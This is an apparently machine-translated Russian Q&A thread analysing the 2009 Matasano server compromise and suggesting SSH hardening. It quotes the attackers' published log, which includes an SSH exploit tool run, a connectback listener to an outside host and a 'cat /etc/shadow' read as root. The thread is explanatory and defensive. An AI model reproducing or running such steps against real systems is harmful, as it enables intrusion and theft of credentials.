из: http://seclists.org/fulldisclosure/2009/Jul/0388.html
Если я понимаю это лучше всего из сообщений от: http://news.ycombinator.com/item?id=723798 ребята из Matasano оставили доступным sshd internet - какие-либо предлагаемые решения для этого (с точки зрения программирования)?
Как взломали Матасано?
Невозможно ответить на основании информации в сообщении Полного раскрытия информации. Однако всегда интересно размышлять, так как они дают небольшую информацию -
# ./th3_f1n4l_s0lut10n www.matasano.com [-] Connecting to 69.61.87.163:22.. [/] Looking for valid non-root user.. adam ******** R3D4CT3D h4h4h4h4 ********
Они запускают свой двоичный файл "th3_f1n41_s01ut10n"против сервера Matasano, который подключается к порту ssh. Он находит действительного пользователя без полномочий root каким-то неизвестным образом, а остальная часть вывода удаляется.
# ./th3_f1n4l_s0lut10n -u adam -t 3 www.matasano.com [*] Connectback listener on 209.112.118.10:3338.. [!] SSH2_MSG_SERVICE_ACCEPT [OpenSSH_4.5p1, OpenSSL 0.9.8g 19 Oct 2007]
Бинарный файл снова запускается с использованием найденного имени пользователя, который входит в систему и снова подключается к своему серверу через порт 3338 (надеюсь, что это не зарегистрировано на их имя ...).
adam_at_www:~$ uname -a Linux www 2.6.20.1-1-686 #1 SMP Sun Mar 4 12:44:55 UTC 2007 i686 GNU/Linux **** h4h4h4hh4h4h4 l3tz us3 m0r3 !0D4Y! H4H4H4H4H4H4H4 ****
Они могут подразумевать, что у них есть нулевой день против этого ядра, которое довольно старое, если учесть товарный запас этой компании.
adam_at_www:~$ cd /tmp *********** B0R1NG *********** root_at_www:~# cat /etc/shadow
Упс - внезапно пользователь теперь root. У них есть локальный эксплойт повышения привилегий в / tmp, который может быть нулевым днем, на который они ссылаются.
Таким образом, здесь происходит как минимум два эксплойта: эксплойт OpenSSH для получения действительного пользователя без полномочий root в системе и входа в систему как этого пользователя, а затем локальное повышение привилегий.
Учитывая, что OpenSSH имеет несколько известных проблем безопасности, начиная с версии 4.5:
Из Страница безопасности OpenSSH:
~/.ssh/rc для сеансов, команда которых была переопределена директивой sshd_config (5) ForceCommand. Это было задокументировано, но небезопасно (описано в примечаниях к выпуску OpenSSH 4.9).Я предполагаю, что это более старое ядро Linux и старый демон SSH сделали для них. Кроме того, он работал на их www-сервере, который доступен в Интернете, что, на мой взгляд, довольно уверенно. Вломившиеся люди явно хотели их смутить.
Как предотвратить эти атаки?
Этого можно было избежать с помощью упреждающего администрирования - убедитесь, что все сервисы, подключенные к Интернету, исправлены, и ограничив количество людей, которые могут подключаться, вместо того, чтобы позволять людям подключаться из любого места. Этот эпизод усугубляет урок о том, что безопасное системное администрирование сложно, и требует от бизнеса самоотверженности, чтобы дать ИТ-специалистам время для исправления вещей - в действительности, это не то, что легко происходит, по крайней мере, в небольших компаниях.
Лучше всего использовать подход «пояс и скобки» - использование аутентификации с открытым ключом, внесение в белый список демона ssh, двухфакторная аутентификация, ограничения IP и / или размещение всего за VPN - это возможные пути для его блокировки.
Думаю, я знаю, чем буду заниматься завтра на работе. :)
Людям нравится создавать FUD над этим, но похоже, что они знали, что пользователь adam уже был там, и знали его пароль (возможно, с помощью грубой силы или других методов). Однако они хотят круто выглядеть и создавать всю эту ажиотаж.
Также следует отметить, что пользователь adam не заходил в этот ящик более года:
(вывод lastlog)
adam pts/1 ool-4350ab48.dyn Sat Jul 26 20:45:18 -0400 2008
Так что, вероятно, он какое-то время хранил этот пароль (возможно, плохой).
* Если бы у них действительно был инструмент для обнаружения имен пользователей через SSH, они могли бы использовать всех других пользователей для получения удаленного доступа, но они использовали наиболее распространенное имя пользователя в этом поле (легко угадать).
Зачем вам пытаться решить эту проблему с точки зрения программирования?
Вместо этого вам следует решить эту проблему с точки зрения умного администратора-сервера. В комментариях к размещенным вами ссылкам есть несколько замечательных предложений, например, использование белого списка.
Я также хотел бы добавить, что, поскольку вы спрашиваете здесь, вы, скорее всего, ни в коем случае не эксперт по безопасности, и все, что вы думаете написать, только добавит больше дыр. Это вообще не вопрос программирования.
Защитите свое программное обеспечение от атак нулевого дня ... что невозможно.
Возможно, один из хороших подходов - заявить, что ваше программное обеспечение невозможно взломать, что побудит белых опробовать его и полностью раскрыть все, оставив меньше дыр. У Oracle 10 было такое заявление, но на следующий день было обнаружено 9 новых дыр. Теперь это довольно безопасно.
Скорее всего, хакер злоупотребил настройкой совершенно хорошего ПО.
мне просто не в голову, что на этой машине было так много пользователей с оболочками. именно так они и стали собственниками, все остальное - отвлекающий маневр. один из них, скорее всего, поставил бэкдор своего ssh-клиента на другую машину с оболочкой, и тогда игра была окончена. давать каждому шелл-аккаунт и делать доступным sshd-мир просто лениво и глупо.